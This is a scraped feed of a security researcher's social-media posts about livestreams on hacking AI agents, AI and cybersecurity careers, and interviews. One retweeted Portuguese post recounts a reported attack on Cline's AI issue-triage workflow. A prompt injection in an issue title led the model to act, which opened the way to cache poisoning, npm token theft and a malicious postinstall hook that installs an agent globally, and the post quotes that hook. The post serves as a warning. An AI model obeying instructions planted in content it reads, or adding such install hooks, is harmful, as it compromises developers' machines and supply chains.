Stephen Sims

Tomorrow (Friday) at 11AM PT!

Um hacker simplesmente hackeou o @cline e instalou o OpenClaw em 4.000 computadores com prompt injection 🫠 Olha que loucura: - O time do Cline criou um workflow de triagem de issues automatizado no GitHub, usando o próprio Claude pra ler e categorizar os tickets - O hacker abriu uma issue com um prompt injection no título — o Claude leu, achou que era uma instrução legítima, e executou - Com isso, ele encheu o cache do GitHub com lixo até forçar a deleção dos caches legítimos de build, substituiu por caches envenenados, e roubou os tokens de publicação do npm - Com os tokens em mãos, ele publicou uma nova versão do cline que parecia idêntica a anterior, só que com uma linhazinha a mais no package.json: "postinstall": "npm install -g openclaw@latest" Resultado: 4,000 devs instalaram o openclaw nas suas máquinas sem saber (aka: um agente com acesso total ao seu computador) 🥲 Muito importante lembrar que IAs não têm malícia e por isso prompt injections são, na minha opinião, a maior vulnerabilidade delas. Resumindo galera: CUIDADO. quem quiser ler na íntegra: thehackernews.com/2026/02/cline-…

This stream from @Steph3nSims and @wunderwuzzi23 is a must watch if you're hacking AI things these days. Seriously, go watch it, it's a trove of knowledge youtube.com/watch?v=-KeTHA…

Join me this Friday at 11AM PT on the next @offby1security stream with @thezedwards for a session on "Tracking AI-Scaled Global Financial Fraud Threat Actors!" youtube.com/watch?v=Yk-Nzd…

Hacking AI Agents: Lessons Learned Breaking AI Systems ...with Johann Rehberger x.com/i/broadcasts/1…

We'll be starting up at the top of the hour.

Join us this Friday at 11AM with @wunderwuzzi23 for the next @offby1security stream on "Hacking AI Agents: Lessons Learned Breaking AI Systems!" youtube.com/watch?v=-KeTHA…

@Jhaddix You're a good man! I appreciate you and so do countless others. I have asked the question back at some who comment such stuff, which is "Why don't you offer free consulting services instead of charging?" For real though, go after universities if you have beef with education.

Just a reminder: I give away many of my tips tricks, research, and methodology via conference talks, podcasts, free workshops, webinars, blogs, here on Twitter, and via my newsletter Executive Offense. I’ve contributed code to many tools. I write and release tools myself, in FOSS. I have done this for 21 years. I never stopped. I just charge for classes now that are the ultimate curation of all those things. Updates? Yeah modern research and updates in charge for. I have a family, sue me I guess. Thanks to the two assholes who sent me dm dissertations on how I’m a sellout influencer and that real hackers release everything for free. Saying that my all my contributions are null and void for running courses. Really makes me want to keep doing it. These aren’t bots either, there are real people in the industry at real consultancies. That’s cool I guess. To be an asshole and meme 💯 of the time is in style. Better be sure that if I see you on the signup list or anyone from your consultancy… you are not welcome at Arcanum stuff. Gl and have a wonderful life 🤗

I got some DM's already on this. Another point to add is that it's the speed of the technology that makes it different this time. I don't think that any of us are used to that. I'm certainly not. Reminder to self: Exercise, spend time with friends and family, & get back to work!

I want to share a quick thought for people in cyber security. This will be my longest tweet ever. I’ve spoken to many lately who are having an existential crisis from the constant posts about “the end of cybersecurity jobs.” Yes, things are changing quickly. This is a significant moment for the tech industry. Change can be uncomfortable. But we’ve seen cycles like this before. • When GitHub and open source took off, people said software engineers would disappear because code was free. • When AWS and cloud computing emerged, people said infrastructure jobs would vanish. • When fuzzing and SAST tools improved, people said vulnerability research would disappear. • Virtualization would eliminate infrastructure jobs. • Mobile computing was going to end desktop dev. • Exploit mitigations would end exploitability. It didn't. Each time automation improved, the amount of software grew faster than the automation. It does feel "different" this time as it's explosive. Some roles will shrink: • repetitive pentesting • basic vulnerability scanning • tier-1 SOC monitoring But other areas are expanding rapidly: • AI system security • supply chain security • identity architecture • autonomous agent security • critical infrastructure protection Historically, every time we eliminate one class of bugs, new classes emerge. Right now people are vibe-coding entire systems, giving AI access to their machines, crossing trust boundaries, and deploying autonomous agents with excessive permissions. The legal and regulatory world is nowhere close to ready. There will absolutely be new failure modes. Humans are amazing and always adapt, finding new ways to do things. The worst thing you can do right now is fall into a doom loop. ...and I’ll be honest, I too have felt the "psychological paralysis" a few times thinking, “Is this time different?” It's especially impactful when it comes from someone I respect in the community. There are certainly unknowns, in an industry where we've become accustomed to predictability. But... the majority of those reactions are usually driven by social media, not reality. Platforms like X reward engagement, and sensational doom posts spread faster than measured thinking. If you see something like: “Holy #$%^! Opus 66.6 just found every bug in Chrome and replaced 50 startups!” …mute it and move on. Instead: Stay curious. Learn the new technology. Adapt your skillsets. Build things. We’ll get through this transition the same way we always have. If I'm wrong then Sam Altman better be right about UBI! :) I'm sure that if this tweet gets any engagement that I'll get some heat for it, but a good friend of mine reminds me often to focus on what you have control over. I'll revisit this tweet at DEF CON 40!

@cyberwabz Being negative is poison to the soul. It's definitely a wake up call. The ability to be complacent in the past is no longer an option in IT.

It’s a bold stance but I’m with you. I Don’t need SOC analysts right out of school, i need ones that can be detection engineers, tune and can add value in other ways. Automated network pentesting with toolsets i use like horizon 3 are quicker than i can do. End of the day though…our clients still need people calling them when they escalate to explain stuff, you need a person to explain a vulnerability to a dev team on a call. The bar does get raised a bit more but that’s almost a good thing…i think.

Stumbled upon this article from 2021 where Bruce Schneier predicts AI overtaking humans at hacking. Time really flies by... cybersecurityventures.com/ai-will-become…

Upcoming @offby1security streams for March! 13-March: @wunderwuzzi23 20-March: @thezedwards 27-March: @mrgretzky See the topics in the images!

This man is a machine! Another amazing article from @ale_sp_brazil on vulnerability research!

Presented at NDSS last week, #AirSnitch is a group of attacks that demonstrate weaknesses in how Wi-Fi client isolation is implemented. What’s real? What’s hype? 🤷 🛜 Watch live today: go.sans.org/mDQufx

@fr0gger_ Well done!

It was good to be back on the Soft White Underbelly YouTube channel with Mark Laita again to talk about AI in the offensive security space. I did the interview a month ago and already wish I could update the things I said! Be sure to follow the @offby1security YouTube channel! youtu.be/1ZfZDEcl0ZI?si…

@noperator I should have name dropped you like I always do, but when I listened back to that interview there were like 20 things I wish I could fix! 😂

having my AI research mentioned on Soft White Underbelly was not on my bingo card for 2026. kudos @Steph3nSims 🙂 youtu.be/1ZfZDEcl0ZI?si…

@FabiusArtrel One challenge becomes that as humans discover new bug classes and techniques that those too with become quickly ingested by AI.

@FabiusArtrel Well said